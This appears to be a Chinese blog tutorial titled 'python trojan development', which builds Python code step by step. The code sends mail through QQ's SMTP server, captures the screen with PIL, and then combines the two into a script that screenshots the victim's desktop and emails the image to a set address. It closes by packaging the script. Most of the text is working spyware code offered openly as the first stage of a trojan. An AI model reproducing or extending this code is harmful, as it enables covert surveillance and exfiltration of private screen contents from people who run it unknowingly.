python trojan development 1st —— use python to send mail and caputre the screen then combine them

 1 import smtplib
 2 from email.mime.text import MIMEText
 3 msg_from='[email protected]'                                 #发送方邮箱
 4 passwd='bd'                                   #填入发送方邮箱的授权码
 5 msg_to='[email protected]'
 6 
 7 
 8 subject="python邮件测试"                                     #主题
 9 content="这是我使用python smtplib及email模块发送的邮件"
10 msg = MIMEText(content)
11 msg['Subject'] = subject
12 msg['From'] = msg_from
13 msg['To'] = msg_to
14 try:
15     s = smtplib.SMTP_SSL("smtp.qq.com",465)
16     s.login(msg_from, passwd)
17     s.sendmail(msg_from, msg_to, msg.as_string())
18     print( "发送成功")
19 except:
20     print("发送失败")
21 finally:
22     s.quit()

 以上是文本类型邮件的发送,不适用图片邮件的发送

以下是图片类型的邮件发送

 1 import smtplib
 2 from email.mime.text import MIMEText
 3 from PIL import ImageGrab
 4 import random
 5 from time import *
 6 from email.mime.multipart import MIMEMultipart
 7 from email.mime.text import MIMEText
 8 from email.mime.image import MIMEImage
 9 
10 def send():
11     sender = '[email protected]'
12     receivers = '[email protected]'
13     message =  MIMEMultipart('related')
14     subject = '终于能发图片了'
15     message['Subject'] = subject
16     message['From'] = sender
17     message['To'] = receivers
18     content = MIMEText('imageid','html','utf-8')
19     message.attach(content)
20 
21     file=open("F:\\12.png", "rb")
22     img_data = file.read()
23     file.close()
24 
25     img = MIMEImage(img_data)
26     img.add_header('Content-ID', 'imageid')
27     message.attach(img)
28 
29     try:
30         server=smtplib.SMTP_SSL("smtp.qq.com",465)
31         server.login(sender,"i")
32         server.sendmail(sender,receivers,message.as_string())
33         server.quit()
34         print ("邮件发送成功")
35     except smtplib.SMTPException as e:
36         print(e)
37 send()

之后我们继续学习截屏幕保存

 1 from PIL import ImageGrab
 2 import random
 3 from time import *
 4 
 5 
 6 
 7 strings = "qwertyuiopasdfghjkzcvbnm0123456789[].,/?"
 8 lenght  = len(strings)
 9 name = ""
10 
11 for j in range(1,3):
12     for i in range(1,5):
13         r = random.randint(1,36)
14         name+=strings[r]
15     im = ImageGrab.grab()
16     im.save('F:\\'+name+'.png')
17     name = ""

我们尝试将他们结合起来:

 

 1 import smtplib
 2 from email.mime.text import MIMEText
 3 from PIL import ImageGrab
 4 import random
 5 from time import *
 6 from email.mime.multipart import MIMEMultipart
 7 from email.mime.text import MIMEText
 8 from email.mime.image import MIMEImage
 9 
10 def send():
11     im = ImageGrab.grab()
12     im.save('F:\\test.png')
13     sender = '@qq.com'
14     receivers = '@qq.com'
15     message =  MIMEMultipart('related')
16     subject = '终于能发图片了'
17     message['Subject'] = subject
18     message['From'] = sender
19     message['To'] = receivers
20     content = MIMEText('imageid','html','utf-8')
21     message.attach(content)
22 
23     file=open("F:\\test.png", "rb")
24     img_data = file.read()
25     file.close()
26 
27     img = MIMEImage(img_data)
28     img.add_header('Content-ID', 'imageid')
29     message.attach(img)
30 
31     try:
32         server=smtplib.SMTP_SSL("smtp.qq.com",465)
33         server.login(sender,"")
34         server.sendmail(sender,receivers,message.as_string())
35         server.quit()
36         print ("邮件发送成功")
37     except smtplib.SMTPException as e:
38         print(e)
39 send()

 

欧克,成功,我们打包试试看

python trojan development 1st —— use python to send mail and caputre the screen then combine them_第1张图片

 

你可能感兴趣的:(python trojan development 1st —— use python to send mail and caputre the screen then combine them)